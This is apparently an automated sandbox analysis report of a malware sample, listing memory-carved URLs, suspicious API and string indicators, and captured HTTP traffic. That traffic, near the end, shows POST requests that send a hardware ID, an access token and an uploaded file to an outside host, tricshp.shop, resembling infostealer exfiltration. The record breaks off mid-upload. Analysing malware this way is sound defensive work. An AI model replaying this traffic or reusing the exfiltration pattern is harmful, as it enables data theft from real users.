"http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l0k*a1.2.840.10045.3.1.2@eckp1.2.840.10045.3.1.7@eckp1.3.36.3.3.2.8.1.1.13ecdp1.2.840.10045.3.1.1ecdp1.2.840.10045.3.1.7@eckp1.3.36.3.3.2.8.1.1.14@eckp1.2.840.10045.3.1.7ecdp1.3.36.3.3.2.8.1.1.11@eckp1.2.840.10045.3.1.5ecdp1.3.36.3.3.2.8.1.1.11ecdp" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623621" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://crl.micro/pki/crl/products/microoceraut_2010-06-23.crl0z>http://www.microsoft.com/pki/certs/microocera06-23.crt0www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstak4-07-01.crl0zn0l0j>http://www.microo4/pki/certs/mictimstapca_2010-07-01.crt0=gnvmicrok4:12e7-30o4&@j'a9/4fpm" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4@+&a2.5.4.5computername=desktop-fvvf82a@g'apf0a2.5.4.112.5.4.62.5.4.8nvm_symlink=c:\program" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00007864.00000000.144909.62B70000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007864.00000000.144909.62B70000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007864.00000000.144909.62B70000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00007864.00000000.144909.91822000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00007864.00000001.145367.46DB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f9iqmgvw,czc0@&ab6b1microsoft" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;0d'att3;number_of_processors=8processor_level=6$trec%aoos=windows_nto" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c30t(a," - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l0@&a1.2.840.10045.3.1.2@eckp1.2.840.10045.3.1.7@eckp1.3.36.3.3.2.8.1.1.13ecdp1.2.840.10045.3.1.1ecdp1.2.840.10045.3.1.7@eckp1.3.36.3.3.2.8.1.1.14@eckp1.2.840.10045.3.1.7ecdp1.3.36.3.3.2.8.1.1.11@eckp1.2.840.10045.3.1.5ecdp1.3.36.3.3.2.8.1.1.11ecdp" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4x30a" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007864.00000001.145367.61250000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00007864.00000001.145367.62B70000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mi^dut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007864.00000001.145367.62B70000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007864.00000001.145367.62B70000.00000004.mdmp") Found URL "https://go.micr.com/fwlink/?linkid=393252" - Source: "00000000-00007864.00000001.145367.62C75000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007864.00000001.145367.62C75000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007864.00000001.145367.62C75000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wsoft" - Source: "00000000-00007864.00000001.145367.62C75000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0m8.ek@26vtlp0xr!s4zs9_>ington1redmond1microsoft" - Source: "00000000-00007864.00000001.145367.62C75000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/cerkp" - Source: "00000000-00007864.00000001.145367.62C75000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>rsa1" - Source: "00000000-00007864.00000001.145367.62C75000.00000004.mdmp") Found URL "http://crl.microsoft.co%rwashinsredmond1microsoft" - Source: "00000000-00007864.00000001.145367.62C75000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1l0j" - Source: "00000000-00007864.00000001.145367.62C75000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00007864.00000001.145367.62C75000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsqst*&pj>e" - Source: "00000000-00007864.00000001.145367.62C75000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>y" - Source: "00000000-00007864.00000001.145367.62C75000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://wwwqrwashington1redmond1microsoft" - Source: "00000000-00007864.00000001.145367.62C75000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00007864.00000001.145367.62C75000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007864.00000001.145367.62D29000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007864.00000001.145367.62D29000.00000004.mdmp")6f:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp")70:T457,Found string "B+ncalrpc:[OLE8705FA195C1843C7530BBB17464E]" (Indicator: "ncalrpc"; Source: "00000000-00006104.00000000.144042.6CA60000.00000004.mdmp, 00000000-00006104.00000001.145963.6CA60000.00000004.mdmp, 00000000-00006104.00000002.147425.6CA98000.00000004.mdmp") Found string "+ncalrpc:[OLE72D16393FC69EE5DEC21D54AA87F]" (Indicator: "ncalrpc"; Source: "00000000-00006104.00000000.144042.6CA60000.00000004.mdmp, 00000000-00006104.00000001.145963.6CA60000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00006104.00000000.144042.6CA60000.00000004.mdmp, 00000000-00006104.00000001.145963.6CA60000.00000004.mdmp") Found string "+ncalrpc:[OLE8705FA195C1843C7530BBB17464E]" (Indicator: "ncalrpc"; Source: "00000000-00006104.00000000.144042.6CA60000.00000004.mdmp, 00000000-00006104.00000001.145963.6CA60000.00000004.mdmp") Found string "+ncalrpc:[OLE145990CEBB2FF18560250B6576BC]" (Indicator: "ncalrpc"; Source: "00000000-00007864.00000000.144909.46DB0000.00000004.mdmp, 00000000-00007864.00000001.145367.46DB0000.00000004.mdmp")71:T418,Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00006104.00000000.144042.6CA60000.00000004.mdmp, 00000000-00006104.00000001.145963.6CA60000.00000004.mdmp") Found string ":\WINDOWS\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00006104.00000000.144042.6CA60000.00000004.mdmp, 00000000-00006104.00000001.145963.6CA60000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00006104.00000000.144042.6CA60000.00000004.mdmp, 00000000-00006104.00000001.145963.6CA60000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00006104.00000000.144042.6CA60000.00000004.mdmp, 00000000-00006104.00000001.145963.6CA60000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00007864.00000000.144909.46DB0000.00000004.mdmp, 00000000-00007864.00000001.145367.46DB0000.00000004.mdmp") Found string "kerberosclient" (Indicator: "kerberos"; Source: "00000000-00007864.00000001.145367.1A9D0000.00000004.mdmp")72:T7b0,Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00006104.00000000.144042.00180000.00000004.mdmp, 00000000-00006104.00000000.144042.40000000.00000040.mdmp, 00000000-00006104.00000001.145963.40000000.00000040.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00006104.00000000.144042.00180000.00000004.mdmp, 00000000-00006104.00000000.144042.40000000.00000040.mdmp, 00000000-00006104.00000001.145963.40000000.00000040.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006104.00000000.144042.00180000.00000004.mdmp, 00000000-00006104.00000000.144042.40000000.00000040.mdmp, 00000000-00006104.00000001.145963.00100000.00000004.mdmp, 00000000-00006104.00000001.145963.40000000.00000040.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006104.00000000.144042.00180000.00000004.mdmp, 00000000-00006104.00000000.144042.40000000.00000040.mdmp, 00000000-00006104.00000001.145963.00100000.00000004.mdmp, 00000000-00006104.00000001.145963.40000000.00000040.mdmp") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00006104.00000000.144042.00180000.00000004.mdmp, 00000000-00006104.00000000.144042.40000000.00000040.mdmp, 00000000-00006104.00000001.145963.00100000.00000004.mdmp, 00000000-00006104.00000001.145963.40000000.00000040.mdmp") Found reference to API "LocalFreeGetDC" (Indicator: "GetDC"; Source: "00000000-00006104.00000001.145963.00100000.00000004.mdmp") Found reference to API "GetClipboardDataGetDC" (Indicator: "GetDC"; Source: "00000000-00006104.00000001.145963.00100000.00000004.mdmp") Found reference to API "BitBltBitBlt" (Indicator: "BitBlt"; Source: "00000000-00006104.00000001.145963.00100000.00000004.mdmp") Found reference to API "GetCurrentObjectGetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00006104.00000001.145963.00100000.00000004.mdmp")73:T425,file/memory contains long string with (Indicator: "RtlGetVersion"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found reference to API "runtime._RtlGetVersion" (Indicator: "RtlGetVersion"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found reference to API "internal/syscall/windows.procRtlGetVersion" (Indicator: "RtlGetVersion"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "RtlGetVersion"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") Found reference to API "runtime._RtlGetVersion" (Indicator: "RtlGetVersion"; Source: "00000000-00006104.00000002.147425.C9EF2000.00000002.mdmp") Found reference to API "internal/syscall/windows.procRtlGetVersion" (Indicator: "RtlGetVersion"; Source: "00000000-00006104.00000002.147425.C9EF2000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "RtlGetVersion"; Source: "00000000-00007864.00000000.144909.91822000.00000002.mdmp")74:T766,file/memory contains long string with (Indicator: "GetUserName"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "NetUserGetInfo"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "LookupAccountSid"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "LookupAccountName"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "NetGetJoinInformation"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00006104.00000000.144042.00180000.00000004.mdmp, 00000000-00006104.00000000.144042.40000000.00000040.mdmp, 00000000-00006104.00000001.145963.00100000.00000004.mdmp, 00000000-00006104.00000001.145963.40000000.00000040.mdmp") file/memory contains long string with (Indicator: "GetUserName"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") file/memory contains long string with (Indicator: "NetUserGetInfo"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountSid"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountName"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTokenInformation"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp")75:T9cd," pairse used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "hostname"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "hostname"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "hostname"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "ping" (Indicator: "ping"; Source: "00000000-00007864.00000001.145367.1A9D0000.00000004.mdmp")7f:Td8f,file/memory contains long string with (Indicator: "CopySid"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "IsValidSid"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "GetLengthSid"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "RevertToSelf"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "ImpersonateSelf"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "DuplicateToken"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "DuplicateTokenEx"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "GetSidSubAuthority"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "SetTokenInformation"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "GetSidSubAuthorityCount"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "ImpersonateLoggedOnUser"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "GetSidIdentifierAuthority"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "CopySid"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") file/memory contains long string with (Indicator: "GetLengthSid"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") file/memory contains long string with (Indicator: "RevertToSelf"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") file/memory contains long string with (Indicator: "ImpersonateSelf"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") file/memory contains long string with (Indicator: "DuplicateToken"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") file/memory contains long string with (Indicator: "DuplicateTokenEx"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") file/memory contains long string with (Indicator: "GetSidSubAuthority"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTokenInformation"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") file/memory contains long string with (Indicator: "SetTokenInformation"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") file/memory contains long string with (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") file/memory contains long string with (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp")80:T439,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "ExitProcess"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "TerminateProcess"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00006104.00000000.144042.00180000.00000004.mdmp, 00000000-00006104.00000000.144042.40000000.00000040.mdmp, 00000000-00006104.00000001.145963.00100000.00000004.mdmp, 00000000-00006104.00000001.145963.40000000.00000040.mdmp") file/memory contains long string with (Indicator: "TerminateProcess"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00007864.00000000.144909.67A4A000.00000002.mdmp, 00000000-00007864.00000000.144909.91822000.00000002.mdmp")81:T9c3,"M=") "��") " "access_token=&debug=http://tricshp.shop:4437-74" HTTP/1.1 200 OK Server: nginx Date: Wed 27 May 2026 11:07:30 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 74 Host: tricshp.shop:4437" with payload::==> "tag=8355c966088f2cf8bb30c4547daf2295&hwid=eb39f081b83b887376b905e9e22c4813" HTTP/1.1 200 OK Server: nginx Date: Wed 27 May 2026 11:07:31 GMT Content-Type: application/octet-stream Content-Length: 117 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"75-I0Yc8xDX1Wcoantj1E7Ks5oSiVY" with response body ==>1357C2BDC2BFC2B8C28D3973C2892A10C289C39E575269C2BD2AC29F62C297C382C3BFC2B449C3B37125C397C385C3B2C3B87AC2927320C2AA34C39D1178C284....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 84 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&debug=http://tricshp.shop:4437-880" HTTP/1.1 200 OK Server: nginx Date: Wed 27 May 2026 11:07:31 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=5T7q9HmseJ95uPwow User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 880 Host: tricshp.shop:4437" with payload::==> "--5T7q9HmseJ95uPwowContent-Disposition: form-data; name="access_token"f272812e-3e0b-4e69-95fe-8b0b344eecc1--5T7q9HmseJ95uPwowContent-Disposition: form-data; name="type"0--5T7q9HmseJ95uPwowContent-Disposition: form-data; name="file"; filename="data"Content-Type: 